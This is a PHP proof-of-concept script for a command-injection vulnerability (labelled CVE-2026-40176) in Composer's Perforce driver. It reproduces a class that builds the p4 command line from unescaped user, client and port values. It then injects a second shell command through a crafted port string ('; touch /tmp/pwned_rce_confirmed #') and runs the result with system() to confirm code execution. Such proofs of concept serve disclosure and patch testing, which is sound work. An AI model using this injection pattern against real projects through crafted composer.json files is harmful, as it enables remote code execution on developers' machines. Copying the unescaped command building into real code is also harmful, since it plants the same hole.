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/**
* CVE-2026-40176 Proof of Concept
* Reproduced based on the vulnerability report for Composer's Perforce driver.
*/
class VulnerablePerforce {
private $repoConfig;
private $port;
private $path;
public function __construct($repoConfig, $port, $path) {
$this->repoConfig = $repoConfig;
$this->port = $port;
$this->path = $path;
}
public function getUser() {
return $this->repoConfig['p4user'] ?? 'default_user';
}
public function getClient() {
return $this->repoConfig['client'] ?? 'default_client';
}
public function getPort() {
return $this->port;
}
public function getP4Executable() {
return 'p4';
}
/**
* Vulnerable method reproduction
*
* The vulnerability exists because arguments are concatenated without
* proper escaping via ProcessExecutor::escape().
*/
public function generateP4Command(string $command, bool $useClient = true): string
{
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // Vulnerable: unescaped user input
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // Vulnerable: unescaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Vulnerable: unescaped
return $p4Command;
}
}
// Attacker-controlled inputs from composer.json
$repoConfig = [
'depot' => 'depot',
'p4user' => 'user',
];
// Payload: injects a command after the port, followed by a '#' to comment out the rest
$maliciousPort = 'localhost:1666; touch /tmp/pwned_rce_confirmed #';
$perforce = new VulnerablePerforce($repoConfig, $maliciousPort, '/tmp');
echo "[*] Preparing malicious command...\n";
$fullCommand = $perforce->generateP4Command('login -s', false);
echo "[*] Generated command:\n";
echo " $fullCommand\n\n";
echo "[*] Executing command via system()...\n";
/**
* In actual Composer, this string is passed to ProcessExecutor::execute(),
* which eventually runs it through a shell (sh/cmd), making it vulnerable
* to shell metacharacters.
*/
system($fullCommand);
echo "\n[*] Checking for payload execution...\n";
if (file_exists('/tmp/pwned_rce_confirmed')) {
echo "[!] SUCCESS: /tmp/pwned_rce_confirmed was created!\n";
echo "[!] RCE Vulnerability (CVE-2026-40176) Confirmed.\n";
// Cleanup
unlink('/tmp/pwned_rce_confirmed');
} else {
echo "[-] Failure: Payload not executed.\n";
}